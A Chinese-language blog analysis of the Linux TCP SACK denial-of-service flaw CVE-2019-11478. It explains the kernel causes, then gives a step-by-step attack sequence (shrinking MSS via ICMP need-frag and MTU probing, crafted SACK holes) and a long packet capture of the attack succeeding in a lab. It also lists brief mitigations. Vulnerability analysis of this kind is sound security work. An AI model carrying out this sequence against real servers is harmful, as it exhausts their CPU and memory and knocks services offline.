CVE-2019-11478 Sack Slowness&Excess Resource Usage漏洞解析与利用

忘掉那些忧伤，不用再掩饰慌张！说好的暴雨，最终还是没有落下…

在CVE-2019-11477 Sack Panic曝出之后，相信很多大型互联网公司都感受到了一阵凉意，加班那是难免的，当然了，我也没闲着，不过，我是觉得有意思而已。

费了很大的劲，找出了一个Sack Panic利用的EXP方法，通过缩放数据probe内核的方式，成功用packetdrill+sacpy将机器打挂，不过出于安全考虑以及一些别的原因，在大多数公司完全修复Sack Panic之前，我不会放出这个EXP，也是不得已。

不过今天我们来聊聊和Sack Panic归拢在一起的另外一个DDoS漏洞，即CVE-2019-11478，就是 SACK Slowness (Linux < 4.15) or Excess Resource Usage(all Linux versions) ，详情参见： https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md

该漏洞其实已经被诟病多年，简单说它的效果就是：

• 特殊的SACK序列可以让CPU飙高。
• 特殊的SACK序列+小的MSS可以使内存暴增。

一般而言，CPU时间和内存空间是一对冤家，鱼与熊掌，然而CVE-2019-11478却成功地让二者言和共同作恶，好棒！注意CVE-2019-11478的描述名称，里面有个 or ，我觉得换成 and 更佳！

让我们具体来说：

• 它如何搞高CPU？Why SACK Slowness？
  很简单，之所以括号里有“<4.15”的限定，那是因为在4.15之前，TCP的重传队列和发送队列是all for one的，它们是同一个链表！那么当收到SACK，难免要对SACK序列进行排序，然后对有序的skb队列进行遍历匹配。链表的遍历过程是 $O(n)$ O ( n ) ，这就是搞高CPU的根源。
  特别的，如今的网络带宽越来越大，BDP就越大，那么这个链表队列中发送尚未确认的skb就越来越多，遍历链表的 $n$ n 就越大，算法时间复杂度线性增加！
  不信？你试试添加8000+条Policy Routing entry试试，或者添加10000条iptables规则，感受一下链表遍历的效果。
  这一点我早就说过，但是大家都不信，不信是因为这个太简单了，他们总觉得里面另有蹊跷。所以我也不说太多。
• 它如何搞高内存？why Excess Resource Usage？
  这个效果 “得益于” TCP发送时的skb分割。
  我们知道，TCP是基于字节的流式协议，而不是基于数据报文的，所以skb可以分割成任意尺寸而不影响传输效果，分割片段的大小，取决于对端的ACK/SACK以及当前的MSS，具体参见tcp_fragment函数。
  在这个函数执行分片的时候，会重新申请一个skb，这就意味着每次一个分片，就要申请一段内存，我们看看tcp_fragment的注释即可：

  /* Function to create two new TCP segments.  Shrinks the given segment
  * to the specified size and appends a new segment with the rest of the
  * packet to the list.  This won't be called frequently, I hope.
  * Remember, these are still headerless SKBs at this point.
  */
  int tcp_fragment(struct sock *sk, struct sk_buff *skb, u32 len,
       unsigned int mss_now)

现在，要做事了！

只要做到两点：

1. 把重传队列搞长。
   用大的mss诱导发送端发送大包，不断诱导其增加cwnd。
2. 把mss搞小。
   用ICMP Need Fragment将mss降低。

上脚本展示原理之前，让我们先文字描述：

1. 攻击者诱发服务器发送back-to-back大数据块，假设发送了804个1440大约1M大小的skb；
2. 攻击者构造icmp need frag报文，将mss改成48；【这里需要技巧，一会儿说】
3. 攻击者发送一段数据比如1:11；
4. 攻击者再发送一段与第一段数据隔离一个洞的数据，比如21:31；
5. 攻击者再发送一段与第二段数据隔离一个洞的数据，比如41:51，同时sack大空洞的最后一个skb；
   此时，由于一般服务器都开启了fack，那么内核会将fack-3的skb标记为lost并且开始重传
6. 被攻击者第一轮重传，800个8字节的skb将会被分配，共消耗内存(400+8)*800=325k；
7. 攻击者sack被攻击者的重传包，除了留下una空洞，清空窗口；
8. 被攻击者第二轮重传接下来的数据，导致又一个325k内存被分配；
9. 最终，被攻击者为了重传1M大小的数据，为了fragment分片会分配等量的1M内存
10. 如果只想玩内存，那么攻击者此时什么都不做，等待超时断开，在此期间伪造10000个反射连接，大约就消耗10G的内存，这些内存在连接超时之前不会释放！
11. 如果还想蹂躏CPU，攻击者就不断发送大整段间隔小洞且跨越整skb的SACK段，让被攻击侧遍历重传队列，能玩一个超时时间段。

以上序列这足以让缓存服务器拒绝服务。

好了，现在该验证了。

先发点牢骚…

自从写了那两篇关于sack panic的分析，很多人揪着一些细节说这也不可能那也不可能的，还顺手给我扔来一段代码，我说你们不去思考不去尝试怎么仅凭代码就说不可能呢？

今天又有人怼，说icmp frag need不能设置小于552的mtu:

static void __ip_rt_update_pmtu(struct rtable *rt, struct flowi4 *fl4, u32 mtu)
{
    struct dst_entry *dst = &rt->dst;
    struct fib_result res;

    if (dst_metric_locked(dst, RTAX_MTU))
        return;

    if (dst->dev->mtu < mtu)
        return;

    if (mtu < ip_rt_min_pmtu)
    // 默认值：512+20+20，"net.ipv4.route.min_pmtu=552"，可配置
        mtu = ip_rt_min_pmtu;

然而我并没有说仅仅用icmp就能搞定。要用别的手段参与诱导下啊。害得我在班车上如此颠簸撸用例…

先看效果：

再看它对应的简单的packetdrill：

下面是net.ipv4.tcp_mtu_probing开启时的结果，自己看怎么将被攻击侧的mss从1460搞成8的，我把代码都贴上了。

当然，如果你关了probe ，那么如果协商时mss比较大，就没风险了。所以Sack Panic的缓解方案之一就是：

1. 禁止Syn/SynACK中携带48的mss。
2. 禁用net.ipv4.tcp_mtu_probing。

另外声明，下面的例子仅供参考。

先看效果，抓包如下：

08:21:24.111487 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [S], seq 0, win 32792, options [mss 1460,sackOK,TS val 100 ecr 0,nop,wscale 7], length 0
08:21:24.111511 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [S.], seq 2101341465, ack 1, win 28960, options [mss 1460,sackOK,TS val 3134154 ecr 100,nop,wscale 7], length 0
08:21:24.111620 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 1, win 257, length 0
08:21:24.111670 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:1449, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111672 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1449:2897, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111673 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 2897:4345, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111674 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 4345:5793, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111676 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 5793:7241, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111677 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 7241:8689, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111678 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 8689:10137, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111679 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 10137:11585, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111680 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 11585:13033, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111681 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [P.], seq 13033:14481, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
# 至此，被攻击侧已经发送了足够的数据！
…
07:42:40.382859 IP 192.0.2.1 > 192.168.185.126: ICMP 192.0.2.1 unreachable - need to frag (mtu 100), length 36
08:21:24.111689 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], seq 1:11, ack 1, win 257, length 10: HTTP
08:21:24.111699 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], ack 11, win 227, options [nop,nop,TS val 3134154 ecr 100], length 0
# 已经完成被攻击侧3个sack段的构造

08:21:24.334480 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:473, ack 11, win 252, options [nop,nop,TS val 3134377 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 472: HTTP
08:21:24.751521 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:473, ack 11, win 252, options [nop,nop,TS val 3134794 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 472: HTTP
08:21:25.573734 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:473, ack 11, win 252, options [nop,nop,TS val 3135616 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 472: HTTP
08:21:27.186758 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:473, ack 11, win 252, options [nop,nop,TS val 3137229 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 472: HTTP
08:21:30.470689 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:229, ack 11, win 252, options [nop,nop,TS val 3140513 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 228: HTTP
08:21:36.940490 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:101, ack 11, win 252, options [nop,nop,TS val 3146983 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 100: HTTP
08:21:49.837286 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:37, ack 11, win 252, options [nop,nop,TS val 3159879 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 36: HTTP
08:22:15.625137 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:9, ack 11, win 252, options [nop,nop,TS val 3185667 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:17.225592 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {73:217},nop,nop], length 0
08:22:17.225627 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], ack 11, win 252, options [nop,nop,TS val 3187268 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 0
08:22:17.225718 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {73:217},nop,nop], length 0
08:22:17.225737 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 37:45, ack 11, win 252, options [nop,nop,TS val 3187268 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:18.873899 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {57:501},nop,nop], length 0
08:22:18.873929 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 45:53, ack 11, win 252, options [nop,nop,TS val 3188916 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:18.873932 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 53:61, ack 11, win 252, options [nop,nop,TS val 3188916 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:18.873936 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 473:481, ack 11, win 252, options [nop,nop,TS val 3188916 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:18.873938 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 481:489, ack 11, win 252, options [nop,nop,TS val 3188916 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:18.873941 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 489:497, ack 11, win 252, options [nop,nop,TS val 3188916 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:18.873943 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 497:505, ack 11, win 252, options [nop,nop,TS val 3188916 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:18.873945 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 505:513, ack 11, win 252, options [nop,nop,TS val 3188916 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.528420 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:513},nop,nop], length 0
08:22:19.528452 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 37:45, ack 11, win 252, options [nop,nop,TS val 3189571 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.528461 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 513:521, ack 11, win 252, options [nop,nop,TS val 3189571 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.528464 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 521:529, ack 11, win 252, options [nop,nop,TS val 3189571 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.528466 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 529:537, ack 11, win 252, options [nop,nop,TS val 3189571 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738413 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:537},nop,nop], length 0
08:22:19.738443 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 53:61, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738448 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 473:481, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738451 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 481:489, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738452 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 489:497, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738454 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 537:545, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738456 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 545:553, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738457 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 553:561, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738458 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 561:569, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738459 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 569:577, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.924799 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:577},nop,nop], length 0
08:22:19.924835 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 37:45, ack 11, win 252, options [nop,nop,TS val 3189967 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.924841 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 577:585, ack 11, win 252, options [nop,nop,TS val 3189967 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.924843 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 585:593, ack 11, win 252, options [nop,nop,TS val 3189967 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.924845 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 593:601, ack 11, win 252, options [nop,nop,TS val 3189967 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.924851 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 601:609, ack 11, win 252, options [nop,nop,TS val 3189967 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.924853 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 609:617, ack 11, win 252, options [nop,nop,TS val 3189967 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.123979 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:617},nop,nop], length 0
08:22:20.124040 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 53:61, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.124049 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 473:481, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.124052 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 481:489, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.124056 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 489:497, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.124062 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 617:625, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.124068 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 625:633, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.124074 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 633:641, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.124079 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 641:649, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.124085 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 649:657, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.335648 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:657},nop,nop], length 0
08:22:20.335680 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 37:45, ack 11, win 252, options [nop,nop,TS val 3190378 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.335686 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 657:665, ack 11, win 252, options [nop,nop,TS val 3190378 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.335688 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 665:673, ack 11, win 252, options [nop,nop,TS val 3190378 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.335690 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 673:681, ack 11, win 252, options [nop,nop,TS val 3190378 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.335691 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 681:689, ack 11, win 252, options [nop,nop,TS val 3190378 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.335695 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 689:697, ack 11, win 252, options [nop,nop,TS val 3190378 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531660 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:697},nop,nop], length 0
08:22:20.531744 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 53:61, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531772 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 473:481, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531774 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 481:489, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531776 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 489:497, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531780 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 697:705, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531782 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 705:713, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531806 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 713:721, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531808 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 721:729, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531810 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 729:737, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.738528 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:737},nop,nop], length 0
08:22:20.738579 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 37:45, ack 11, win 252, options [nop,nop,TS val 3190781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.738589 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 737:745, ack 11, win 252, options [nop,nop,TS val 3190781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.738591 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 745:753, ack 11, win 252, options [nop,nop,TS val 3190781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.738594 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 753:761, ack 11, win 252, options [nop,nop,TS val 3190781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.738596 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 761:769, ack 11, win 252, options [nop,nop,TS val 3190781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.738598 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 769:777, ack 11, win 252, options [nop,nop,TS val 3190781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945630 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:777},nop,nop], length 0
08:22:20.945666 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 53:61, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945673 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 473:481, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945676 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 481:489, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945704 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 489:497, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945733 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 777:785, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945736 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 785:793, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945738 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 793:801, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945740 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 801:809, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945743 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 809:817, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.122262 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:817},nop,nop], length 0
08:22:21.122301 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 37:45, ack 11, win 252, options [nop,nop,TS val 3191164 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.122305 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 817:825, ack 11, win 252, options [nop,nop,TS val 3191164 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.122306 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 825:833, ack 11, win 252, options [nop,nop,TS val 3191164 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.122309 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 833:841, ack 11, win 252, options [nop,nop,TS val 3191164 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.122311 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 841:849, ack 11, win 252, options [nop,nop,TS val 3191164 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.122313 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 849:857, ack 11, win 252, options [nop,nop,TS val 3191164 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.318671 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:857},nop,nop], length 0
08:22:21.318715 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 53:61, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.318719 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 473:481, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.318720 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 481:489, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.318722 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 489:497, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.318724 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 857:865, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
